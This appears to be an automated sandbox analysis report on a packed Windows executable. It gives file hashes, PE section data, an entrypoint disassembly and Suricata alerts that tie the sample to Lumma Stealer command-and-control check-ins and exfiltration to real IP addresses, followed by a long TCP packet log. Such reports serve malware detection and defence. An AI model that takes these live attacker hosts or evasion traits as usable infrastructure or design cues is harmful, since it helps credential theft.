Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94701927085435
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'876'992 bytes
MD5:	d4c2a1ba061f40bcec02e375ac69f89c
SHA1:	7ab28dc46af1842974002b49c734c74234d5892d
SHA256:	971ed167b3901301c16764e544ec2ab8cdd0d220d76677ade952a921b20fbaad
SHA512:	73ab11057d2c1033f913243fbb2d78b6319e4d73dceab8921c75509805e4c2112fe7aa82ca915a5be818177135baf458bb23bc5467de492974888ed85826e59b
SSDEEP:	24576:+pXVYobdP8o1M1NTjDlHsn0e0MyQpPB6va/yudxJ7M4WYq6UY6CCGPtWWt9uopMU:+9Vc2phclYJ71PtWWL/
TLSH:	9095335C69934C98CBFF8DB1A23313051479CA81746E4BDEAC5C5AA22CF7297B6F4381
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D...........@J...........@..........................pJ......o....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4FE461611Ah
jc 00007F4FE4616132h
add byte ptr [eax], al
jmp 00007F4FE4618115h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x27800	7a7a594e206c3ebf0b919fc99b4cc1f6	False	0.9981704905063291	data	7.983065756808548	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x2a6000	0x200	5a6698e847846da3a61e2345374c7b57	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jeitlowb	0x303000	0x1a0000	0x19f200	53ad25d304e506a0ede118f34d45639a	False	0.9944993742472147	data	7.9535273483877615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
prqdtbdb	0x4a3000	0x1000	0x400	f7d01fc806462f6e1588982ba5491576	False	0.8115234375	data	6.259971338156258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a4000	0x3000	0x2200	1bf076547cfdb8dc9bcc74596007ab4d	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T02:34:09.306969+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T02:34:10.340946+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T02:34:10.340946+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-18T02:34:11.095789+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-18T02:34:11.651225+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-18T02:34:11.651225+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-18T02:34:12.565595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-18T02:34:14.278604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-18T02:34:15.055950+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-18T02:34:15.964406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49720	188.114.97.3	443	TCP
2024-11-18T02:34:17.632057+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49732	188.114.97.3	443	TCP
2024-11-18T02:34:19.370878+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-18T02:34:23.920228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49768	188.114.97.3	443	TCP
2024-11-18T02:34:24.423088+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49768	188.114.97.3	443	TCP
2024-11-18T02:34:25.337346+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49776	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 02:34:05.418101072 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:05.418107033 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:05.746220112 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:07.876194954 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:07.876235008 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:07.876286030 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:07.876853943 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:07.876868963 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:08.636548042 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:08.636594057 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:08.636691093 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:08.674829960 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:08.674873114 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:09.014348984 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.014455080 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.020317078 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.020327091 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.020895004 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.022341967 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.022578001 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.022588968 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.022757053 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.067339897 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.272490978 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.301964998 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.301964998 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.301984072 CET	443	49709	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:09.302253008 CET	49709	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:09.306837082 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:09.306968927 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:09.310288906 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:09.310303926 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:09.310760021 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:09.355612993 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:09.595833063 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:09.595873117 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:09.596365929 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:10.340939999 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:10.341058016 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:10.341116905 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:10.357146025 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:10.357167959 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:10.357197046 CET	49710	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:10.357204914 CET	443	49710	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:10.451734066 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:10.451816082 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:10.451900005 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:10.452197075 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:10.452224970 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.095690012 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.095788956 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.097007036 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.097017050 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.097265005 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.098506927 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.098540068 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.098588943 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651372910 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651510954 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651597023 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651633978 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.651680946 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651731968 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.651741982 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651881933 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.651936054 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.651943922 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.652031898 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.652077913 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.652086020 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.699501991 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.699537992 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.746342897 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.767904043 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768115044 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768178940 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.768193007 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768260956 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768311024 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.768320084 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768512964 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768572092 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.768624067 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.768646002 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.768660069 CET	49711	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.768666029 CET	443	49711	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.913019896 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.913124084 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:11.913233042 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.913511992 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:11.913547993 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:12.565502882 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:12.565594912 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:12.580555916 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:12.580571890 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:12.581456900 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:12.599982977 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:12.600178957 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:12.600240946 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:13.267501116 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:13.267543077 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:13.267615080 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:13.268081903 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:13.268101931 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:13.508212090 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:13.508513927 CET	443	49712	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:13.508513927 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:13.508569002 CET	49712	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:13.627233982 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:13.627278090 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:13.627353907 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:13.627643108 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:13.627655983 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:14.005537033 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.005608082 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.007457018 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.007467985 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.007720947 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.017745972 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.059329033 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.241422892 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.241450071 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.241465092 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.241558075 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.241578102 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.241592884 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.241616964 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.266922951 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.266947031 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.267035961 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.267046928 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.267079115 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.267090082 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.278454065 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:14.278604031 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:14.279840946 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:14.279872894 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:14.280163050 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:14.281646013 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:14.281786919 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:14.281830072 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:14.281908035 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:14.323345900 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:14.358195066 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.358258009 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.358298063 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.358314037 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.358371973 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.384767056 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.384792089 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.384836912 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.384845972 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.384893894 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.384919882 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.386148930 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.386168957 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.386208057 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.386220932 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.386246920 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.386267900 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.388075113 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.388094902 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.388149977 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.388158083 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.388211012 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.475739956 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.475760937 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.475899935 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.475909948 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.475971937 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.499800920 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.499821901 CET	443	49713	13.107.246.45	192.168.2.6
